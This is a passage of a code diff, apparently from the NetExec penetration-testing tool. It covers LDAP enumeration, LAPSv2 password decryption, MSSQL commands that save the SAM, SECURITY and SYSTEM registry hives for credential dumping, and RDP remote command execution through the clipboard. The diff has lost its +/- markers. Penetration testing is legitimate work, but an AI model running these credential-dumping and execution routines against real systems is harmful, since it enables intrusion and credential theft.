self.logger.debug(f"Search Filter={searchFilter}")
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else ""
# A baseObject search returns one entry at most, and AD refuses the paged control on an anonymous rootDSE read
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if self.scope is None else None
return self.ldap_connection.search(
scope=self.scope,
searchBase=baseDN,
@@ -1537,12 +1537,12 @@ class ldap(connection):
Get the Fine Grained Password Policy/PSOs
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
"""
# Convert LDAP time to human readable format
# Convert LDAP time (100ns intervals) to human readable format
def pso_days(ldap_time):
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
return f"{abs(int(ldap_time)) // 864000000000} days"
def pso_mins(ldap_time):
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
return f"{abs(int(ldap_time)) // 600000000} minutes"
# Are there even any FGPPs?
self.logger.info("Attempting to enumerate policies...")
@@ -1779,7 +1779,7 @@ class ldap(connection):
if self.args.kerberos:
self.logger.highlight("Using kerberos auth without ccache, getting TGT")
auth.get_tgt()
if self.args.use_kcache:
if self.use_kcache:
self.logger.highlight("Using kerberos auth from ccache")
auth.load_ccache()
+124
View File
@@ -0,0 +1,124 @@
from impacket.ldap.ldaptypes import ACCESS_MASK
# https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab?source=recommendations
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-21-0-0-0-496": "Compounded Authentication", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_13
"S-1-5-21-0-0-0-497": "Claims Valid", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_14
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-32-553": "RAS and IAS Servers",
"S-1-5-32-554": r"BUILTIN\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": r"BUILTIN\Remote Desktop Users",
"S-1-5-32-557": r"BUILTIN\Incoming Forest Trust Builders",
"S-1-5-32-556": r"BUILTIN\Network Configuration Operators",
"S-1-5-32-558": r"BUILTIN\Performance Monitor Users",
"S-1-5-32-559": r"BUILTIN\Performance Log Users",
"S-1-5-32-560": r"BUILTIN\Windows Authorization Access Group",
"S-1-5-32-561": r"BUILTIN\Terminal Server License Servers",
"S-1-5-32-562": r"BUILTIN\Distributed COM Users",
"S-1-5-32-568": r"BUILTIN\DCOM Users",
"S-1-5-32-569": r"BUILTIN\Cryptographic Operators",
"S-1-5-32-571": r"BUILTIN\Cacheable Principals",
"S-1-5-32-572": r"BUILTIN\Non-Cacheable Principals",
"S-1-5-32-573": r"BUILTIN\Event Log Readers",
"S-1-5-32-574": r"BUILTIN\Certificate Service DCOM Access",
"S-1-5-32-575": r"BUILTIN\RDS Remote Access Servers",
"S-1-5-32-576": r"BUILTIN\RDS Endpoint Servers",
"S-1-5-32-577": r"BUILTIN\RDS Management Servers",
"S-1-5-32-578": r"BUILTIN\Hyper-V Administrators",
"S-1-5-32-579": r"BUILTIN\Access Control Assistance Operators",
"S-1-5-32-580": r"BUILTIN\Remote Management Users",
"S-1-5-32-581": r"BUILTIN\Default Account",
"S-1-5-32-582": r"BUILTIN\Storage Replica Administrators",
"S-1-5-32-583": r"BUILTIN\Device Owners",
"S-1-5-32-584": r"BUILTIN\User Mode Hardware Operators",
"S-1-5-32-585": r"BUILTIN\OpenSSH Users",
"S-1-5-33": "Write Restricted Code",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-65-1": "This Organization Certificate", # see https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/39f588d6-21e3-4e09-a9f2-d8f7b9b998bf
"S-1-5-80": "NT Service",
"S-1-5-80-0": "All Services",
"S-1-5-83-0": r"NT VIRTUAL MACHINE\Virtual Machines",
"S-1-5-84-0-0-0-0-0": "User Mode Drivers",
"S-1-5-1000": "Other Organization",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-18-1": "Authentication Authority Asserted Identity",
"S-1-18-2": "Service Asserted Identity",
"S-1-18-3": "Fresh public key identity",
"S-1-18-5": "MFA Key Property",
"S-1-18-6": "Attested Key Property",
}
ACCESS_MASK_TO_TEXT_LOOKUP = {
ACCESS_MASK.GENERIC_READ: "GENERIC_READ",
ACCESS_MASK.GENERIC_WRITE: "GENERIC_WRITE",
ACCESS_MASK.GENERIC_EXECUTE: "GENERIC_EXECUTE",
ACCESS_MASK.GENERIC_ALL: "GENERIC_ALL",
ACCESS_MASK.MAXIMUM_ALLOWED: "MAXIMUM_ALLOWED",
ACCESS_MASK.ACCESS_SYSTEM_SECURITY: "ACCESS_SYSTEM_SECURITY",
ACCESS_MASK.SYNCHRONIZE: "SYNCHRONIZE",
ACCESS_MASK.WRITE_OWNER: "WRITE_OWNER",
ACCESS_MASK.WRITE_DACL: "WRITE_DACL",
ACCESS_MASK.READ_CONTROL: "READ_CONTROL",
ACCESS_MASK.DELETE: "DELETE",
# file system rights
0x00000001: "FILE_READ_DATA",
0x00000002: "FILE_WRITE_DATA",
0x00000004: "FILE_APPEND_DATA",
0x00000008: "FILE_READ_EA",
0x00000010: "FILE_WRITE_EA",
0x00000020: "FILE_EXECUTE",
0x00000040: "FILE_DELETE_CHILD",
0x00000080: "FILE_READ_ATTRIBUTES",
0x00000100: "FILE_WRITE_ATTRIBUTES"
}
+19 -12
View File
@@ -7,7 +7,7 @@ from impacket.krb5.kerberosv5 import KerberosError
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.epm import hept_map
from impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek
from nxc.logger import NXCAdapter
@@ -169,7 +169,7 @@ class LDAPConnect:
class LAPSv2Extract:
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server, rpc_host=None, rpc_name=None, aesKey=""):
if ntlm_hash.find(":") != -1:
self.lmhash, self.nthash = ntlm_hash.split(":")
else:
@@ -182,8 +182,11 @@ class LAPSv2Extract:
self.domain = domain
self.do_kerberos = do_kerberos
self.kdcHost = kdcHost
self.aesKey = aesKey
self.logger = None
self.dns_server = dns_server
self.rpc_host = rpc_host or (dns_server if dns_server else domain)
self.rpc_name = rpc_name or domain
self.proto_logger(self.domain, port, self.domain)
def proto_logger(self, host, port, hostname):
@@ -215,29 +218,30 @@ class LAPSv2Extract:
gke = kds_cache[key_id["RootKeyId"]]
else:
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
string_binding = hept_map(destHost=self.rpc_host, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
rpc_transport.setRemoteName(self.rpc_name)
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash, aesKey=self.aesKey)
if self.do_kerberos:
self.logger.info("Connecting using kerberos")
rpc_transport.set_kerberos(self.do_kerberos, kdcHost=self.kdcHost)
dce = rpc_transport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if self.do_kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.logger.info(f"Connecting to {string_binding}")
try:
dce.connect()
except Exception as e:
self.logger.error(f"Something went wrong, check error status => {e}")
return False
return None
self.logger.info("Connected")
try:
dce.bind(MSRPC_UUID_GKDI)
except Exception as e:
self.logger.error(f"Something went wrong, check error status => {e!s}")
return False
return None
self.logger.info("Successfully bound")
self.logger.info("Calling MS-GKDI GetKey")
@@ -248,15 +252,12 @@ class LAPSv2Extract:
kds_cache[gke["RootKeyId"]] = gke
kek = compute_kek(gke, key_id)
self.logger.info(f"KEK:\t{kek}")
enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"])
iv, _ = decoder.decode(enc_content_parameter)
iv = bytes(iv[0])
cek = unwrap_cek(kek, bytes(kek_recipient_info["encryptedKey"]))
self.logger.info(f"CEK:\t{cek}")
plaintext = decrypt_plaintext(cek, iv, remaining)
self.logger.info(plaintext[:-18].decode("utf-16le"))
return plaintext[:-18].decode("utf-16le")
@@ -325,13 +326,19 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
self.kerberos,
self.kdcHost,
339,
dns_server
dns_server,
self.kdcHost,
self.kdcHost,
self.aesKey,
)
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return None, None, None
if not data:
self.logger.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {self.hostname}")
return None, None, None
r = loads(data)
msMCSAdmPwd = r["p"]
username_laps = r["n"]
+3 -2
View File
@@ -62,7 +62,8 @@ class LDAPResolution:
else:
nxc_logger.error(f"Error getting ldap info {e}")
machine_name = sanitize_dns(machine_name, nxc_logger)
machine_name = sanitize_dns(machine_name, nxc_logger).upper()
target_domain = sanitize_dns(target_domain, nxc_logger)
target = sanitize_dns(target, nxc_logger)
nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
return machine_name, target_domain
return machine_name, target_domain, target
+6 -4
View File
@@ -153,6 +153,7 @@ class mssql(connection):
self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
return False
else:
self.remoteName = self.host
if challenge.startswith(b"NTLMSSP\x00"):
ntlm_info = parse_challenge(challenge)
dns_hostname = ntlm_info["dns_hostname"] or ""
@@ -160,6 +161,7 @@ class mssql(connection):
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
self.remoteName = sanitize_dns(dns_hostname, self.logger) if self.kerberos else self.host
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
else:
@@ -175,8 +177,6 @@ class mssql(connection):
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
@@ -572,7 +572,8 @@ class mssql(connection):
sam_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
# del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{sam_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="sam")
try:
@@ -607,7 +608,8 @@ class mssql(connection):
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
# del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{security_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="lsa")
try:
+78 -141
View File
@@ -40,7 +40,6 @@ class rdp(connection):
self.domain = None
self.server_os = None
self.iosettings = RDPIOSettings()
self.iosettings.video_out_format = VIDEO_FORMAT.RAW
self.iosettings.clipboard_use_pyperclip = False
self.protoflags_nla = [
SUPP_PROTOCOLS.SSL,
@@ -60,8 +59,8 @@ class rdp(connection):
# servers dont support 8 any more :/
self.iosettings.video_bpp_min = 15
self.iosettings.video_bpp_max = 32
# PIL produces incorrect picture for some reason?! TODO: check bug
self.iosettings.video_out_format = VIDEO_FORMAT.PNG #
# screenshots read the desktop buffer, so don't PNG-encode every update put on ext_out_queue
self.iosettings.video_out_format = VIDEO_FORMAT.PIL
self.domain = None
self.server_os = None
self.url = None
@@ -87,7 +86,9 @@ class rdp(connection):
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
}
connection.__init__(self, args, db, host)
# one event loop per target: aardwolf's reader tasks die with their loop, so a session can only be reused on the loop that opened it
with asyncio.Runner() as self.runner:
connection.__init__(self, args, db, host)
def proto_logger(self):
import platform
@@ -136,14 +137,14 @@ class rdp(connection):
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True) # old servers only offer ciphers OpenSSL rejects at its default security level
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
asyncio.run(self.check_nla())
self.runner.run(self.check_nla())
for proto in reversed(self.protoflags):
try:
self.conn = self._create_rdp_connection(
self.auth, supported_protocols=proto
)
asyncio.run(self.connect_rdp_with_cleanup())
self.runner.run(self.connect_rdp_with_cleanup())
except OSError as e:
if "Errno 104" not in str(e):
return False
@@ -156,8 +157,9 @@ class rdp(connection):
except Exception:
pass
else:
self.hostname = sanitize_dns(info_domain.get("computername") or self.host, self.logger)
self.domain = sanitize_dns(info_domain.get("dnsdomainname") or self.host, self.logger)
self.hostname = sanitize_dns(info_domain.get("computername"), self.logger)
self.domain = sanitize_dns(info_domain.get("dnsdomainname"), self.logger)
self.remoteName = sanitize_dns(info_domain.get("dnscomputername"), self.logger) if self.kerberos else self.host
self.server_os = self.guess_os(info_domain)
self.logger.extra["hostname"] = self.hostname
break
@@ -167,8 +169,6 @@ class rdp(connection):
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
@@ -199,13 +199,15 @@ class rdp(connection):
async def check_nla(self):
self.logger.debug(f"Checking NLA for {self.host}")
probe_connection = None
try:
self.conn = self._create_rdp_connection(
None, supported_protocols=SUPP_PROTOCOLS.SSL
)
packetizer = TPKTPacketizer()
client = UniClient(self.target, packetizer)
self.conn._connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
probe_connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
self.conn._connection = probe_connection
self.conn._x224net = X224Network(self.conn._connection)
_, err = await asyncio.wait_for(self.conn._x224net.client_negotiate(0, SUPP_PROTOCOLS.SSL), timeout=self.args.rdp_timeout)
# If no error SSL supported if SSL_NOT_ALLOWED_BY_SERVER error, plain RDP supported
@@ -214,47 +216,48 @@ class rdp(connection):
return
except Exception:
pass
finally:
# this probe socket is not owned by aardwolf, terminate() would not close it
if probe_connection is not None:
await probe_connection.close()
async def connect_rdp(self, auth_only=False):
"""Connect to the RDP server. Does NOT clean up on exit.
When auth_only is True, performs only CredSSP/NLA authentication
without establishing a full RDP session. This verifies credentials
without creating a disconnected session on single-session hosts.
"""
_, err = await asyncio.wait_for(self.conn.connect(auth_only=auth_only), timeout=self.args.rdp_timeout)
async def connect_rdp(self):
"""Connect to the RDP server. Does NOT clean up on exit."""
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
if err is not None:
raise err
self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}")
async def terminate_conn(self):
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
"""Terminate the RDP connection with a timeout so cleanup doesn't hang (https://github.com/skelsec/aardwolf/issues/43)."""
if self.conn is not None:
with contextlib.suppress(Exception):
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
async def connect_rdp_with_cleanup(self, auth_only=False):
def disconnect(self):
self.runner.run(self.terminate_conn())
async def connect_rdp_with_cleanup(self):
"""Connect to the RDP server and always terminate the connection on exit"""
try:
await self.connect_rdp(auth_only=auth_only)
await self.connect_rdp()
finally:
await self.terminate_conn()
async def login_and_confirm(self):
"""Connect and return whether a real session opened (Save Session Info PDU), always cleaning up.
"""Log on and return whether a real session opened (Save Session Info PDU). The session stays open for -x/-X/--screenshot until disconnect().
That PDU never comes when access is authorized but the logon is refused (restricted admin).
"""
await self.terminate_conn() # a session kept by an earlier success (--continue-on-success) would take a session slot this logon needs
self.conn = self._create_rdp_connection(self.auth)
await self.connect_rdp()
try:
await self.connect_rdp()
try:
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
return True
except TimeoutError:
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
return False
finally:
await self.terminate_conn()
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
return True
except TimeoutError:
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
return False
def rdp_access_denied(self):
"""Whether the Early User Authorization Result PDU says the account has no RDP access right at all.
@@ -265,6 +268,7 @@ class rdp(connection):
return self.conn.authz_result == AUTHZ_ACCESS_DENIED
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.username = username
try:
lmhash = ""
nthash = ""
@@ -285,14 +289,10 @@ class rdp(connection):
if useCache:
stype = asyauthSecret.CCACHE
if not password:
password = password if password else getenv("KRB5CCNAME")
if "/" in password:
self.logger.fail("Kerberos ticket need to be on the local directory")
return False
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
ticketCreds = ccache.credentials[0]
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
password = getenv("KRB5CCNAME")
ccache = CCache.loadFile(password)
ticketCreds = ccache.credentials[0]
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
elif aesKey:
stype = asyauthSecret.AES
password = aesKey
@@ -320,21 +320,7 @@ class rdp(connection):
domain=domain,
stype=stype,
)
self.conn = self._create_rdp_connection(self.auth)
if self._execution_pending():
# auth_only verifies creds without opening a full session, which on single-session
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
# already torn down and cannot be reconnected), which also sets admin_privs.
try:
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
except RuntimeError as e:
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
self.conn = self._create_rdp_connection(self.auth)
self.admin_privs = asyncio.run(self.login_and_confirm())
else:
self.admin_privs = asyncio.run(self.login_and_confirm())
self.admin_privs = self.runner.run(self.login_and_confirm())
self.logger.success(
"{}\\{}{} {}".format(
@@ -383,11 +369,8 @@ class rdp(connection):
)
return False
def _execution_pending(self):
"""Check if command execution will follow authentication."""
return bool(self.args.execute or self.args.ps_execute)
def plaintext_login(self, domain, username, password):
self.username = username
try:
self.auth = NTLMCredential(
secret=password,
@@ -395,21 +378,7 @@ class rdp(connection):
domain=domain,
stype=asyauthSecret.PASS,
)
self.conn = self._create_rdp_connection(self.auth)
if self._execution_pending():
# auth_only verifies creds without opening a full session, which on single-session
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
# already torn down and cannot be reconnected), which also sets admin_privs.
try:
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
except RuntimeError as e:
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
self.conn = self._create_rdp_connection(self.auth)
self.admin_privs = asyncio.run(self.login_and_confirm())
else:
self.admin_privs = asyncio.run(self.login_and_confirm())
self.admin_privs = self.runner.run(self.login_and_confirm())
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
if not self.args.local_auth and self.username != "":
@@ -437,6 +406,7 @@ class rdp(connection):
return False
def hash_login(self, domain, username, ntlm_hash):
self.username = username
try:
self.auth = NTLMCredential(
secret=ntlm_hash,
@@ -444,21 +414,7 @@ class rdp(connection):
domain=domain,
stype=asyauthSecret.NT,
)
self.conn = self._create_rdp_connection(self.auth)
if self._execution_pending():
# auth_only verifies creds without opening a full session, which on single-session
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
# already torn down and cannot be reconnected), which also sets admin_privs.
try:
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
except RuntimeError as e:
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
self.conn = self._create_rdp_connection(self.auth)
self.admin_privs = asyncio.run(self.login_and_confirm())
else:
self.admin_privs = asyncio.run(self.login_and_confirm())
self.admin_privs = self.runner.run(self.login_and_confirm())
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
if not self.args.local_auth and self.username != "":
@@ -631,13 +587,9 @@ Add-Type -AssemblyName System.Windows.Forms
await self._send_win_r()
await self.conn.set_current_clipboard_text(command)
# server must acknowledge our clipboard data before we trigger the read
response = await self._wait_for_event(
{"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay
)
response = await self._wait_for_event({"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay)
if not response.accepted:
raise RuntimeError(
"Remote session rejected the clipboard command data"
)
raise RuntimeError("Remote session rejected the clipboard command data")
# type a one-liner that reads and executes the clipboard we just set
# uses .NET WinForms API instead of Get-Clipboard (which requires PS5+)
await self._send_keystrokes(
@@ -669,21 +621,9 @@ Add-Type -AssemblyName System.Windows.Forms
async def execute_shell(self, payload, get_output, shell_type):
marker = uuid4().hex if get_output else None
command = self._build_execution_command(
payload, shell_type, marker, get_output
)
command = self._build_execution_command(payload, shell_type, marker, get_output)
self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}")
try:
self.conn = self._create_rdp_connection(self.auth)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Error connecting to RDP: {e!s}")
if "CredSSP" in str(e) or "STATUS_LOGON" in str(e):
self.logger.fail(f"Authentication failed: {e!s}")
await self.terminate_conn()
return None
try:
if get_output:
self.logger.success("Waiting for clipboard to be ready...")
@@ -711,9 +651,7 @@ Add-Type -AssemblyName System.Windows.Forms
try:
await self._submit_run_command(command)
except TimeoutError:
self.logger.fail(
"Remote session did not acknowledge the clipboard command data"
)
self.logger.fail("Remote session did not acknowledge the clipboard command data")
return None
else:
await self._submit_typed_run_command(command)
@@ -746,10 +684,6 @@ Add-Type -AssemblyName System.Windows.Forms
self.logger.debug(f"Unexpected error: {e!s}")
self.logger.fail(f"Command execution failed: {e!s}")
return None
finally:
# clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43)
self.logger.debug("Terminating RDP connection")
await self.terminate_conn()
def execute(self, payload=None, shell_type="cmd"):
"""Execute a command via RDP"""
@@ -758,10 +692,15 @@ Add-Type -AssemblyName System.Windows.Forms
get_output = bool(not self.args.no_output)
if not self.username: # every login method sets it, so empty means no credentials were given and there is no desktop to capture
self.logger.fail("-x/-X need credentials")
return None
if self.conn.disconnected_evt.is_set(): # valid credentials without the RDP right open no session: skip silently, like smb -x without admin rights
return None
self.logger.success(f"Executing command: {payload}")
try:
result = asyncio.run(self.execute_shell(payload, get_output, shell_type))
result = self.runner.run(self.execute_shell(payload, get_output, shell_type))
if result is not None:
self.logger.debug("Command execution completed")
@@ -773,52 +712,50 @@ Add-Type -AssemblyName System.Windows.Forms
def ps_execute(self):
self.execute(payload=self.args.ps_execute, shell_type="powershell")
async def save_screenshot(self, desktop, label):
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
desktop.save(filename, "png")
self.logger.highlight(f"{label} saved {filename}")
async def screen(self):
try:
self.conn = self._create_rdp_connection(self.auth)
await self.connect_rdp()
await asyncio.sleep(5)
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
await asyncio.sleep(self.args.screentime)
if self.conn.desktop_buffer_has_data:
await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "Screenshot")
else:
self.logger.fail(f"No desktop data after {self.args.screentime}s, try a longer --screentime")
except Exception as e:
self.logger.debug(f"Error taking screenshot: {e!s}")
finally:
await self.terminate_conn()
self.logger.fail(f"Could not take the screenshot: {e!s}")
def screenshot(self):
asyncio.run(self.screen())
if not self.username: # every login method sets it, so empty means no credentials were given and there is no desktop to capture
self.logger.fail("--screenshot needs credentials, use --nla-screenshot to capture the login screen")
elif not self.conn.disconnected_evt.is_set(): # no session to capture: same silent skip as execute()
self.runner.run(self.screen())
async def nla_screen(self):
self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS)
connected = False
for proto in self.protoflags_nla:
try:
self.conn = self._create_rdp_connection(
self.auth, supported_protocols=proto
)
self.conn = self._create_rdp_connection(self.auth, supported_protocols=proto)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
await self.terminate_conn()
continue
connected = True
try:
await asyncio.sleep(int(self.args.screentime))
await asyncio.sleep(self.args.screentime)
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
